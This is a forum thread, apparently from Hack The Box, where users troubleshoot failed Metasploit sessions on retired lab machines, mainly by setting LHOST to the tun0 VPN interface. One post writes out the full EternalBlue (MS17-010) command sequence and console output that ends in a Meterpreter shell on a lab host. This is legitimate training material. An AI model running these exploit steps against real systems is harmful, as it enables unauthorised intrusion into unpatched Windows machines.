[SOLVED] Exploit completed, but no sessions created.

@T0fu said:

whe running nmap -p 445 -A 10.10.10.3 im getting that the smb version is 3.0.28a instead of the 3.0.20 which is the one in the walkthroughs. Does this make any difference for the exploit?

I noticed the same thing. The documented exploit only works for version 3.0.20 < 3.0.25rc3 and the current version is 3.0.28a.

I’m still digging, but haven’t found a fix yet. I might try the fix fluffikinz recommends, but it would be nice to know if there was some kind of change in the box/challenge. Seems inconsistent to make such a drastic change after the box is retired and so many have already owned it - to require a completely different tactic.

In case someone else would encounter a problem here … Basically, I’d say that Metasploit, if not specified with LHOST, will use the default network card’s IP. The thing is, because we’re connected to the lab through a VPN, this makes Metasploit listen on the “wrong” interface in this context.

To fix this, you’ll have to change LHOST with the IP address you have on the HTB network (tun0)

set LHOST 10.10.1X.X

Hope it helps

Yes, Samba might be upgraded, but there are still other vulnerable services exposed.

Also I found its quite handy to set LHOST to tun0 and not to specific IP, as the IP changes between connections.

There are 2 things you need to do:

  • Update msf-framework. You will need to go into its /usr/share/metasploit-frame and “bundle install”. From there, your msf will have all updates and upgrade. There is a problem upgrading it in command line.
  • For LHOST, please try to figure out your IP address and set LHOST to that. Try to choose the right one by Google. You should be fine.

~~Not sure what I did different, but I just skipped this one for about a week and came back to it. Magically msf worked this time. ~~

However I did type in the wrong ip the first time running it, I’m going to chalk it up to either user error or something was wonky with the servers that got fixed. numbors R hard, make sure the connection handler in msf binds and if it doesnt check that your options are correct.

I was going through what I did step by step and realized:

! I used the OTHER samba port! I don’t know if maybe I refused to try that port for some odd reason but that was the issue. That seems like an issue I’d catch, but… seems that isn’t the case. Look at your scan, and try the other ports (if you dont know which one just try all of them, but nmap should give enough info to know which one). Feel dumb lol

Use your tun0 inet for the LHOST instead of your IP, because we are connecting through HTB VPN.

Still same issue

At the time of writing this, I was able to establish the connection using recommended command:

set LHOST tun0

Thanks for all continued recommendations.

Type your comment> @BasedJab said:

OK, so I finally found the fix.

I uninstalled metasploit ( sudo apt-get remove --auto-remove metasploit-framework ) and then re-installed the new build from their github repo. Installed it in my /opt folder and then installed all the dependencies (a bunch of ruby gems that will probably need some manual dpkg installs themselves) and now it works.

I guess the defualt Metasploit just didn’t work and upgrading it also didn’t.

This is what I ended up having to do as well. Except I re-installed using apt:

  1. sudo apt-get remove --auto-remove metasploit-framework
  2. sudo apt update && sudo apt install metasploit-framework -y

This didn’t help me with the manual exploits though; so there is still something in the 2020.4 kali instance that’s blocking stuff. For Legacy, the Win firewall kept getting enabled somehow, so many resets to figure it out.

set PROCESSINJECT lsass.exe this worked and exploit executed

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
rhost => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.14.x
lhost => 10.10.14.16
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PROCESSINJECT lsass.exe
PROCESSINJECT => lsass.exe
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[
] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[
] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[
] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[
] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[
] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[] 10.10.10.40:445 - Sending final SMBv2 buffers.
[
] 10.10.10.40:445 - Sending last fragment of exploit packet!
[] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[
] 10.10.10.40:445 - Sending egg to corrupted connection.
[] 10.10.10.40:445 - Triggering free of corrupted buffer.
[
] Started bind TCP handler against 10.10.10.40:4444
[] Sending stage (200262 bytes) to 10.10.10.40
[
] Meterpreter session 1 opened (0.0.0.0:0 → 10.10.10.40:4444) at 2021-01-15 20:30:59 -0500
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Type your comment> @webbey said:

At the time of writing this, I was able to establish the connection using recommended command:

set LHOST tun0

Thanks for all continued recommendations.

This works for me, thanks.

There are 2 things you need to do:

Update msf-framework. You will need to go into its /usr/share/metasploit-frame and “bundle install”. From there, your msf will have all updates and upgrade. There is a problem upgrading it in command line.
For LHOST, please try to figure out your IP address and set LHOST to that. Try to choose the right one by Google. You should be fine.

This. Worked. For. Me. Couldn’t believe it, thank you!

@juanhk said:
show options

LHOST 192.xxx.x.xxx yes The local listener hostname

set LHOST (IP de openvpn, tun0 )

El problema es que te carga automaticamente la ip de eth0 y tendria que cargar la de tun0

This solved my connection issues too. Thank you!

OK changing LHOST to vpn just worked and I got meterpreter after changing through payloads. Now, I have new problem none of meterpreter commands work all end up with error or command unknown. even python is not recognised, priv extension doesn’t load hence getsystem wont work, uname no, getuid no, only thing worked is sysinfo
which says computer name is ‘passage’, OS is Linux Ubuntu and meterpreter-php/linux
help guys

@Phantom95 @juanhk

thank you very much, with this i have had headaches for a few days now.

Tnx!!

To all those still having the issue. Please check RPORT. It should be the one running the service against whom you are running the exploit.

@orange0002 said:

To all those still having the issue. Please check LPORT. It should be the one running the service against whom you are running the exploit.

Are you sure?

For most MSF exploits, RPORT is the port running the service you are attacking and LPORT is any port you have a listener on.

Type your comment> @TazWake said:

@orange0002 said:

To all those still having the issue. Please check LPORT. It should be the one running the service against whom you are running the exploit.

Are you sure?

For most MSF exploits, RPORT is the port running the service you are attacking and LPORT is any port you have a listener on.

Yes, you are right!
Haste is bad, another proof.

thanks